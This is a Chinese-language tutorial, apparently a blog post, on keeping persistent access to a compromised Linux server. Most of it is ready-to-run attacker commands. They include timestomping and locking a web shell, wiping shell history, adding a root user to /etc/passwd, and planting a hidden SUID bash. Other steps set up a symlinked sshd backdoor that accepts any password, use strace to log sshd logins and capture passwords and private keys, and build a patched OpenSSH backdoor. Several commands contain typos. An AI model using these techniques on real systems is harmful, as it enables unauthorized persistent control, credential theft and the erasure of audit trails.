Liunx权限维持
权限维持是一项必要且需要得技巧,当在外网中打点后,需要保证点的持久性,使团队能够专注于目标,而不会失去指挥和控制服务器的通信。
隐藏技巧
修改文件/终端属性
最常用的手段便是修改文件的生成时间,这里可以利用以下命令来进行修改
1 | touch -r index.php shell.php |
touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。
文件锁定
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件以及目录,此权限是用ls -l查看不出来的。
1 | chattr +i evil.php #锁定文件 |
历史操作命令
在shell中执行的命令,不希望被记录在命令行历史中,就可以使用无痕操作模式
只针对你的工作关闭历史记录
1 | [space]set +o history #备注:[space]表示空格。并且由于空格的原因,该命令本身也不会被记录。 |
上面的命令会临时禁用历史功能,这意味着在命令之后执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开始历史功能,执行下面的命令
1 | [space]set -o history #将环境恢复原状 |
从历史中删除指定的命令
假设历史中已经记录了一些你不希望记录的命令。这种情况下可以通过以下命令来删除
1 | history | grep "keyword" |
输出了历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
1 | history -d [num] |
删除大规模历史操作记录,这里,我们只保留前150行
1 | set -i '150,$d' .bash_history |
添加用户
passwd写入
1 | /etc/passwd各部分含义 |
写入举例:
1.增加超级用户
1 | $echo "momaek:savbSWc4rx8NY:hacker:/root:/bin/bash" >> /etc/passwd |
一些系统中,存放着加密后的用户口令字。虽然这个字段存放的只是用户口令的加密串,不是明文,但是由于/etc/passwd文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统都使用了shadow技术,把真正加密后的用户口令字段存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放了一个特殊的字符,例如”x”或者”*”.
但是该方法现在面对比较新的liunx
系统基本用不了了,切换用户会提示该用户不存在。
2.如果系统不允许uid=0的用户远程登陆,可以增加一个普通用户账号
1 | echo "momaek:savbSWc4rx8NY:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow |
ps:面对比较新的liunx
系统该方法仍然失效
SUID
当一个文件所属主的X标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的。必要条件:
1 | 1.SUID权限仅对二进制程序有效。 |
创建suid权限的文件:
1 | cp /bin/bash /tmp/.woot |
相当于我们复制了一些新的bash到tmp目录下,然后可以在使用它的时候调用root的权限。
使用一般用户运行:
1 | /tmp/.woot |
要想查找到具有suid的权限的应用,可以使用如下命令:
1 | find / -perm +4000 -ls |
SSH公私钥
1 | ssh -keygan -t rsa //生成公钥 |
老生常谈的公钥免登录,这种用法不只是用在留后门,还可以在特殊情况下获得一个交互式的shell,如Struts写入公钥,oracle写入公钥连接,Redis写入公钥链接授权访问等情景。
软连接
通过软连接建立一个ssh后门:
1 | ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 |
说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可,登陆如下:
1 | ssh root@xxx.xxx.xxx.xxx -p 12345 |
注意:这个如果目标在执行软连接的时候,如果使用了其他账号创建,则登录的时候需要使用对应的账号,而非root。
(以上时另一台机器成功连接的截图)
上面提到要更改软连接su名字,需要用以下命令,xxxxxx为你需要更改的名字:
1 | echo " |
之后再开启端口监听,用于登录
1 | ln -sf /usr/sbin/sshd /tmp/xxxxxx;/tmp/xxxxxx -oPort=12345 |
当然,也可以使用其他软连接名字,但是文件必须得在/etc/pam.d目录下存在。在/etc/pam.d目录下执行:
1 | find ./ |xargs grep "pam_rootok" |
出现了以上内容,说明以下的名字都可以作为软连接名称:
1 | ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=23333 |
Strace
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把它当作一个键盘记录的后门,来扩大我们的信息收集范围
通过其他方式拿到shell,通过histroy,流量抓包、或者本地没有翻到密码的情况下。我们要想获取当前主机的密码,或者是通过这台主机连接到其他主机的密码。
1 | yun -y install strace |
记录sshd进程明文密码
执行如下命令:
1 | (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e |
当用户通过密码登陆时,使用如下命令查看记录的密码
1 | grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log |
记录sshd私钥
1 | (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e |
当用户通过私钥登陆时,使用如下命令查看记录的私钥
1 | grep 'PRIVATE KEY' /tmp/.sshd.log |
OpenSSH后门
[openssh-5.9p1.tar.gz]
[openssh-5.9p1.patch.tar.gz]
编辑安装
1 | tar zxvf openssh-5.9p1.tar.gz |
修改后门密码和文件记录
1 | root@localhost openssh-5.9p1# vim includes.h |
编译安装
首先对ssh里面的几个key的权限进行修改,否则可能进行编译的时候key不能修改而报错。
1 | chmod 620 moduli |
安装环境编译运行
1 | yum install -y openssl openssl-devel pam-devel zlib zlib-devel |
我们的OpenSSH后⻔已经设置成功。使⽤我们的后⻔密码可以正常登陆,以前的密码也有记录。